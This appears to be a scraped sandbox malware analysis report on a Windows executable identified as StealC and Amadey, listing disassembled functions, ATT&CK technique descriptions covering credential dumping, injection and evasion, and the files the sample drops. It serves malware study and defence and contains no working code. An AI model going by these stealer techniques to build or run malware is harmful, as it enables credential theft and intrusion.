Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: bb7c11096c02d068a8d9ce596f2582be46aca4b6cd5ab5322db14ee2fafdb1a4
Instruction ID: a22d2f4f70aca0a47144734f7c380559b2e26087e7586b11d727e34cc30290ad
Opcode Fuzzy Hash: bb7c11096c02d068a8d9ce596f2582be46aca4b6cd5ab5322db14ee2fafdb1a4
Instruction Fuzzy Hash: 8531E571A1060A9FDB08CF2CC9806AB73E9FF94344F50813DD41AD7651EB31E669C790

Function 6C9CB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C970A4D), ref: 6C9CB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C970A4D), ref: 6C9CB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C970A4D), ref: 6C9CB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C970A4D), ref: 6C9CB67F

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4c2ae7465413480812ddee15985635b6ba84e8556b8cb079783d8e3dead9daa9
Instruction ID: 392d24bc119dcc89dcd8b7a62ab48144820da0114567d21a05406e42d7c7c1bf
Opcode Fuzzy Hash: 4c2ae7465413480812ddee15985635b6ba84e8556b8cb079783d8e3dead9daa9
Instruction Fuzzy Hash: 7931F471E002168FDB10DF58C94466ABBB9FF84325F168529C80A9B201DB31E915CBA3

Function 6C99F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C99F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C99F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C99F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C99F668

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 930120d83646c70c7c335615e540f2feefbfff5f45c6baa77110c3b2be83de8b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 1A314F71A00614AFCB14CF5DCCC0AABB7B9EB94358B188539FA498BB04D672F9448B91

Function 6C9B26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B26C1
free.MOZGLUE(?), ref: 6C9B26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B26FF
free.MOZGLUE ref: 6C9B270D

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f88442e70426af313a02e1050fe191daf7ecbe7b9cc52c677c6edc37a2de26e7
Instruction ID: b237b41504ae697f64bfd474cf52261243125ef69d145bcc44673202e28a1dba
Opcode Fuzzy Hash: f88442e70426af313a02e1050fe191daf7ecbe7b9cc52c677c6edc37a2de26e7
Instruction Fuzzy Hash: C5F0F9B2701601BBFB009A18DCC495B73ADEF65259B200435EA16E3B02E331F918C6A5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAAAKJKJEBGHJKFHIDGC

C:\ProgramData\DBKKFCBAKKFBGCBFHJDG

C:\ProgramData\DHIDHIEGIIIECAKEBFBA

C:\ProgramData\GDHIIIIE

C:\ProgramData\HDBGHDHCGHCAAKEBKECBKFIIDA

C:\ProgramData\IJECBGIJDGCAEBFIIECAKFHIJE

C:\ProgramData\KEHCAFHI

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre